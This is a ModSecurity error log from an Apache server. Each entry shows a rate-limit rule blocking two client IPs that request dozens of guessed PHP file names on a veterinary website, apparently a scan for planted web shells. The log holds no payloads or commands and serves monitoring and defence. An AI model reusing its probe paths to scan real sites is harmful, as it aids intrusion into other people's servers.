[Mon Apr 13 17:22:07.938410 2026] [:error] [pid 63406:tid 63434] [client 20.240.142.13:61902] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-good.php"] [unique_id "ady1v7HZEIkQ0Zmgp5oj6wAAANc"]
[Mon Apr 13 17:22:10.588880 2026] [:error] [pid 57183:tid 57191] [client 20.240.142.13:64520] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-good.php"] [unique_id "ady1wjDO3t8R5NaxzYTXFwAAAUY"]
[Mon Apr 13 17:22:13.554249 2026] [:error] [pid 57183:tid 57206] [client 20.240.142.13:61594] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wmore1.php"] [unique_id "ady1xTDO3t8R5NaxzYTXHAAAAVU"]
[Mon Apr 13 17:22:14.912479 2026] [:error] [pid 63406:tid 63431] [client 20.240.142.13:64559] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wmore1.php"] [unique_id "ady1xrHZEIkQ0Zmgp5okAwAAANQ"]
[Mon Apr 13 17:22:15.635785 2026] [:error] [pid 63406:tid 63413] [client 20.240.142.13:61610] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wmore1.php"] [unique_id "ady1x7HZEIkQ0Zmgp5okCAAAAMI"]
[Mon Apr 13 17:22:17.139461 2026] [:error] [pid 57183:tid 57202] [client 20.240.142.13:62758] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wmore1.php"] [unique_id "ady1yTDO3t8R5NaxzYTXJQAAAVE"]
[Mon Apr 13 17:22:18.889966 2026] [:error] [pid 63406:tid 63432] [client 20.240.142.13:61621] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new3.php"] [unique_id "ady1yrHZEIkQ0Zmgp5okFgAAANU"]
[Mon Apr 13 17:22:20.528048 2026] [:error] [pid 9314:tid 9327] [client 20.240.142.13:64480] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new3.php"] [unique_id "ady1zG_r4W8fX2GWyGTN0wAAAYs"]
[Mon Apr 13 17:22:22.510886 2026] [:error] [pid 57183:tid 57185] [client 20.240.142.13:60493] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new3.php"] [unique_id "ady1zjDO3t8R5NaxzYTXLAAAAUA"]
[Mon Apr 13 17:22:24.565494 2026] [:error] [pid 63310:tid 63349] [client 20.240.142.13:60496] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new3.php"] [unique_id "ady10HoXpRU5ztmwPjIxWwAAAEU"]
[Mon Apr 13 17:22:28.504514 2026] [:error] [pid 63406:tid 63435] [client 20.240.142.13:61631] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nw.php"] [unique_id "ady11LHZEIkQ0Zmgp5okTQAAANg"]
[Mon Apr 13 17:22:30.323072 2026] [:error] [pid 57183:tid 57199] [client 20.240.142.13:61914] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nw.php"] [unique_id "ady11jDO3t8R5NaxzYTXOQAAAU4"]
[Mon Apr 13 17:22:33.162853 2026] [:error] [pid 57183:tid 57193] [client 20.240.142.13:62729] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nw.php"] [unique_id "ady12TDO3t8R5NaxzYTXRgAAAUg"]
[Mon Apr 13 17:22:34.244682 2026] [:error] [pid 63311:tid 63371] [client 20.240.142.13:64516] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nw.php"] [unique_id "ady12qHjrGN1MqBCVFnTZgAAAIA"]
[Mon Apr 13 17:22:36.943175 2026] [:error] [pid 57183:tid 57187] [client 20.240.142.13:60431] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byypas.php"] [unique_id "ady13DDO3t8R5NaxzYTXWQAAAUI"]
[Mon Apr 13 17:22:39.235059 2026] [:error] [pid 57183:tid 57191] [client 20.240.142.13:64549] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byypas.php"] [unique_id "ady13zDO3t8R5NaxzYTXYQAAAUY"]
[Mon Apr 13 17:22:49.697848 2026] [:error] [pid 7228:tid 7235] [client 20.240.142.13:61112] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rithin.php"] [unique_id "ady16QEnn1dQrOSHHNVdJAAAAQU"]
[Mon Apr 13 17:22:53.197173 2026] [:error] [pid 9314:tid 9330] [client 20.240.142.13:64483] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rithin.php"] [unique_id "ady17W_r4W8fX2GWyGTN8gAAAY4"]
[Mon Apr 13 17:22:55.824078 2026] [:error] [pid 9314:tid 9339] [client 20.240.142.13:60725] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rithin.php"] [unique_id "ady172_r4W8fX2GWyGTN9QAAAZc"]
[Mon Apr 13 17:22:58.226124 2026] [:error] [pid 63406:tid 63420] [client 20.240.142.13:60531] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rithin.php"] [unique_id "ady18rHZEIkQ0Zmgp5oksQAAAMk"]
[Mon Apr 13 17:22:59.697523 2026] [:error] [pid 63406:tid 63414] [client 20.240.142.13:64468] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a4.php"] [unique_id "ady187HZEIkQ0Zmgp5okuAAAAMM"]
[Mon Apr 13 17:23:04.398950 2026] [:error] [pid 9314:tid 9316] [client 20.240.142.13:60457] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a4.php"] [unique_id "ady1-G_r4W8fX2GWyGTOCgAAAYA"]
[Mon Apr 13 17:23:08.531170 2026] [:error] [pid 63406:tid 63425] [client 20.240.142.13:61589] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a4.php"] [unique_id "ady1_LHZEIkQ0Zmgp5okxgAAAM4"]
[Mon Apr 13 17:23:10.995390 2026] [:error] [pid 63310:tid 63367] [client 20.240.142.13:64573] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a4.php"] [unique_id "ady1_noXpRU5ztmwPjIxcQAAAFc"]
[Mon Apr 13 17:23:13.352210 2026] [:error] [pid 63311:tid 63390] [client 20.240.142.13:64540] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jlex.php"] [unique_id "ady2AaHjrGN1MqBCVFnThwAAAJM"]
[Mon Apr 13 17:23:16.795865 2026] [:error] [pid 57183:tid 57204] [client 20.240.142.13:59843] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jlex.php"] [unique_id "ady2BDDO3t8R5NaxzYTXnAAAAVM"]
[Mon Apr 13 17:23:18.808107 2026] [:error] [pid 7228:tid 7254] [client 20.240.142.13:62767] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jlex.php"] [unique_id "ady2BgEnn1dQrOSHHNVdSQAAARg"]
[Mon Apr 13 17:23:20.827995 2026] [:error] [pid 7228:tid 7230] [client 20.240.142.13:60429] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jlex.php"] [unique_id "ady2CAEnn1dQrOSHHNVdTAAAAQA"]
[Mon Apr 13 17:23:23.432686 2026] [:error] [pid 57183:tid 57200] [client 20.240.142.13:64481] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xsas.php"] [unique_id "ady2CzDO3t8R5NaxzYTXuAAAAU8"]
[Mon Apr 13 17:23:24.578576 2026] [:error] [pid 9314:tid 9325] [client 20.240.142.13:60495] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xsas.php"] [unique_id "ady2DG_r4W8fX2GWyGTOMAAAAYk"]
[Mon Apr 13 17:23:25.601990 2026] [:error] [pid 57183:tid 57194] [client 20.240.142.13:64509] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xsas.php"] [unique_id "ady2DTDO3t8R5NaxzYTXvwAAAUk"]
[Mon Apr 13 17:23:26.724294 2026] [:error] [pid 57183:tid 57189] [client 20.240.142.13:59885] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xsas.php"] [unique_id "ady2DjDO3t8R5NaxzYTXyAAAAUQ"]
[Mon Apr 13 17:23:27.810540 2026] [:error] [pid 63406:tid 63430] [client 20.240.142.13:61895] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp/jp.php"] [unique_id "ady2D7HZEIkQ0Zmgp5ok1gAAANM"]
[Mon Apr 13 17:23:29.102659 2026] [:error] [pid 7228:tid 7243] [client 20.240.142.13:60452] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp/jp.php"] [unique_id "ady2EQEnn1dQrOSHHNVdZgAAAQ0"]
[Mon Apr 13 17:23:30.523673 2026] [:error] [pid 63406:tid 63412] [client 20.240.142.13:64525] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp/jp.php"] [unique_id "ady2ErHZEIkQ0Zmgp5ok5QAAAME"]
[Mon Apr 13 17:23:31.420996 2026] [:error] [pid 63406:tid 63421] [client 20.240.142.13:64448] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp/jp.php"] [unique_id "ady2E7HZEIkQ0Zmgp5ok6AAAAMo"]
[Mon Apr 13 17:23:32.107524 2026] [:error] [pid 9314:tid 9326] [client 20.240.142.13:62760] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/8573.php"] [unique_id "ady2FG_r4W8fX2GWyGTOQQAAAYo"]
[Mon Apr 13 17:23:32.786472 2026] [:error] [pid 63310:tid 63362] [client 20.240.142.13:62747] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/8573.php"] [unique_id "ady2FHoXpRU5ztmwPjIxewAAAFI"]
[Mon Apr 13 17:23:33.496878 2026] [:error] [pid 63406:tid 63428] [client 20.240.142.13:61903] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/8573.php"] [unique_id "ady2FbHZEIkQ0Zmgp5ok6gAAANE"]
[Mon Apr 13 17:23:34.340322 2026] [:error] [pid 63406:tid 63434] [client 20.240.142.13:61897] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/8573.php"] [unique_id "ady2FrHZEIkQ0Zmgp5ok7gAAANc"]
[Mon Apr 13 17:23:35.402630 2026] [:error] [pid 57183:tid 57207] [client 20.240.142.13:61595] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp5.php"] [unique_id "ady2FzDO3t8R5NaxzYTX1wAAAVY"]
[Mon Apr 13 17:23:37.723760 2026] [:error] [pid 63310:tid 63367] [client 158.158.40.237:54501] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/no18.php"] [unique_id "ady2GXoXpRU5ztmwPjIxfgAAAFc"]
[Mon Apr 13 17:23:38.188852 2026] [:error] [pid 63310:tid 63356] [client 20.240.142.13:64526] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp5.php"] [unique_id "ady2GnoXpRU5ztmwPjIxfwAAAEw"]
[Mon Apr 13 17:23:38.853819 2026] [:error] [pid 7228:tid 7252] [client 158.158.40.237:65113] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/no18.php"] [unique_id "ady2GgEnn1dQrOSHHNVdgQAAARY"]
[Mon Apr 13 17:23:40.476461 2026] [:error] [pid 63309:tid 63326] [client 158.158.40.237:54520] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/no18.php"] [unique_id "ady2HEpIKZ10weXpf0UEjQAAAA0"]
[Mon Apr 13 17:23:41.717014 2026] [:error] [pid 63311:tid 63391] [client 158.158.40.237:6968] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/no18.php"] [unique_id "ady2HaHjrGN1MqBCVFnToAAAAJQ"]
[Mon Apr 13 17:23:42.311587 2026] [:error] [pid 63310:tid 63366] [client 20.240.142.13:61917] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp5.php"] [unique_id "ady2HnoXpRU5ztmwPjIxkAAAAFY"]
[Mon Apr 13 17:23:43.535896 2026] [:error] [pid 63311:tid 63375] [client 158.158.40.237:6940] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/blqjs.php"] [unique_id "ady2H6HjrGN1MqBCVFnTpAAAAIQ"]
[Mon Apr 13 17:23:51.046829 2026] [:error] [pid 57183:tid 57197] [client 158.158.40.237:6946] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/blqjs.php"] [unique_id "ady2JzDO3t8R5NaxzYTX4QAAAUw"]
[Mon Apr 13 17:23:52.061978 2026] [:error] [pid 7228:tid 7233] [client 20.240.142.13:61603] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp9.php"] [unique_id "ady2KAEnn1dQrOSHHNVdhAAAAQM"]
[Mon Apr 13 17:23:54.522689 2026] [:error] [pid 63311:tid 63373] [client 20.240.142.13:64451] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp9.php"] [unique_id "ady2KqHjrGN1MqBCVFnTrQAAAII"]
[Mon Apr 13 17:23:57.787656 2026] [:error] [pid 63311:tid 63386] [client 20.240.142.13:60488] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp9.php"] [unique_id "ady2LaHjrGN1MqBCVFnTtgAAAI8"]
[Mon Apr 13 17:24:00.144827 2026] [:error] [pid 7228:tid 7248] [client 158.158.40.237:64260] [client 158.158.40.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sk25_1.php"] [unique_id "ady2MAEnn1dQrOSHHNVdjAAAARI"]
[Mon Apr 13 17:24:04.770413 2026] [:error] [pid 63406:tid 63427] [client 20.240.142.13:64478] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp9.php"] [unique_id "ady2NLHZEIkQ0Zmgp5ok_wAAANA"]
[Mon Apr 13 17:24:06.476589 2026] [:error] [pid 63406:tid 63421] [client 20.240.142.13:59856] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws88.php"] [unique_id "ady2NrHZEIkQ0Zmgp5olBwAAAMo"]
[Mon Apr 13 17:24:08.729356 2026] [:error] [pid 63310:tid 63365] [client 20.240.142.13:61587] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws88.php"] [unique_id "ady2OHoXpRU5ztmwPjIxvAAAAFU"]
